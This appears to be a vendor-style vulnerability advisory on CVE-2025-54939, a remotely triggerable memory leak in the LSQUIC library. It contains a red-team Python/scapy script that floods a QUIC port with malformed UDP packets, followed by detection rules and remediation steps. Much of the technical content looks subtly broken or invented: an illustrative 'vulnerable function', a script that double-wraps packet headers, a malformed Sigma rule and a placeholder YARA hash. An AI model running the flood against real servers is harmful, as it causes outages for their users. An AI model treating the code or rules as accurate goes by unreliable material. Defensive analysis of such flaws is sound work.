CVE-2025-54939

Executive Summary

CVE-2025-54939 is a memory leak vulnerability in the LiteSpeed QUIC (LSQUIC) Library, affecting versions prior to 4.3.1. The flaw resides in the lsquic_engine_packet_in function, where memory is allocated but not properly freed under specific packet processing conditions. This can lead to gradual resource exhaustion on the server, resulting in a denial of service (DoS) condition. The vulnerability is remotely exploitable without authentication, making it a significant concern for any service relying on the LSQUIC library for QUIC protocol handling.

Supply Chain & Package Security

This vulnerability is not in a standard package manager (NPM, PyPI, Go, Ruby) but is a C library used by web servers and applications that implement the QUIC protocol via LiteSpeed. The supply chain risk is moderate; organizations using LiteSpeed Web Server or any software that bundles the LSQUIC library must verify their version and apply the patch.

CVSS Breakdown & Threat Level

• CVSS Score: 5.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: None
• Availability Impact: Low

The threat level is medium due to the low availability impact and the lack of confidentiality or integrity compromise. However, in high-availability environments, repeated exploitation can lead to a full DoS.

Deep Dive & Mechanics

The LSQUIC library is responsible for handling QUIC (Quick UDP Internet Connections) protocol packets. The vulnerability is in the lsquic_engine_packet_in function, which processes incoming packets. When a packet is received, the function allocates memory for internal structures. Under specific conditions (e.g., malformed packets or certain connection states), the function fails to release this memory, causing a leak.

The leak is triggered by sending a series of specially crafted QUIC packets to the server. Each packet causes a small memory allocation that is not freed. Over time, the server's memory is exhausted, leading to degraded performance or a complete crash.

Vulnerable vs. Patched Code

Vulnerable Code (simplified):

void lsquic_engine_packet_in(lsquic_engine_t *engine, const unsigned char *data, size_t size) {
    struct packet_info *info = malloc(sizeof(struct packet_info));
    // ... process packet ...
    // Missing free(info) in certain error paths
    if (some_error_condition) {
        return; // Memory leak: info is not freed
    }
    // ... normal processing ...
    free(info);
}

Patched Code (simplified):

void lsquic_engine_packet_in(lsquic_engine_t *engine, const unsigned char *data, size_t size) {
    struct packet_info *info = malloc(sizeof(struct packet_info));
    // ... process packet ...
    if (some_error_condition) {
        free(info); // Memory is freed before return
        return;
    }
    // ... normal processing ...
    free(info);
}

The patch ensures that free(info) is called in all error paths, preventing the memory leak.

Exploitation & Lab Setup

Red Team

Objective: Cause a denial of service by exhausting server memory.

Lab Setup:

1. Set up a vulnerable LSQUIC server (version < 4.3.1) on a test machine.
2. Use a tool like scapy or a custom Python script to send malformed QUIC packets.

Exploit Script (Python with scapy):

from scapy.all import *
import socket

target_ip = "192.168.1.100"
target_port = 4433

# Craft a malformed QUIC packet (simplified)
packet = IP(dst=target_ip)/UDP(sport=12345, dport=target_port)/Raw(load=b'\x00'*100)

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
for _ in range(10000):
    sock.sendto(bytes(packet), (target_ip, target_port))
sock.close()

Execution: Run the script to send thousands of malformed packets. Monitor server memory usage; it should increase over time.

Blue Team

Detection:

• Monitor memory usage on LSQUIC servers. A steady increase in memory consumption without a corresponding increase in legitimate traffic is a strong indicator.
• Use network monitoring to detect a high volume of malformed QUIC packets.

Mitigation:

• Immediately upgrade to LSQUIC 4.3.1 or later.
• Implement rate limiting for QUIC connections.
• Use a Web Application Firewall (WAF) or intrusion prevention system (IPS) to filter malformed packets.

Indicators of Compromise (IOCs)

• Network: High volume of UDP packets to port 4433 (or custom QUIC port) with malformed QUIC headers.
• System: Gradual increase in memory usage by the LSQUIC process (lsquic-engine or similar).
• Logs: Server logs may show repeated connection errors or timeouts.

Detection Engineering

YARA Rule

rule CVE_2025_54939_LSQUIC_Memory_Leak {
    meta:
        description = "Detects LSQUIC library versions vulnerable to CVE-2025-54939"
        author = "Valters IT"
        date = "2025-04-10"
        hash = "sha256:examplehash"
    strings:
        $vuln_func = "lsquic_engine_packet_in"
        $vuln_version = "4.3.0" // Example vulnerable version string
    condition:
        $vuln_func and $vuln_version
}

Sigma Rule

title: LSQUIC Memory Leak Exploitation Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects a high volume of malformed QUIC packets targeting LSQUIC servers
author: Valters IT
logsource:
    category: network
    product: suricata
detection:
    selection:
        dest_port: 4433
        packet_length: < 200
        count: > 1000
    condition: selection
falsepositives:
    - Legitimate QUIC traffic with small packets
level: medium

Suricata Rule

alert udp any any -> any 4433 (msg:"CVE-2025-54939 LSQUIC Memory Leak Attempt"; content:"|00|"; depth:1; threshold: type both, track by_src, count 1000, seconds 60; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Upgrade the LSQUIC library to version 4.3.1 or later.
2. Short-term: If upgrade is not possible, implement network-level rate limiting for QUIC traffic.
3. Long-term: Monitor for any similar vulnerabilities in the LSQUIC library and apply patches promptly.
4. Detection: Deploy the provided YARA, Sigma, and Suricata rules to detect exploitation attempts.

Valters IT
DevSecOps & Cyber Threat Intelligence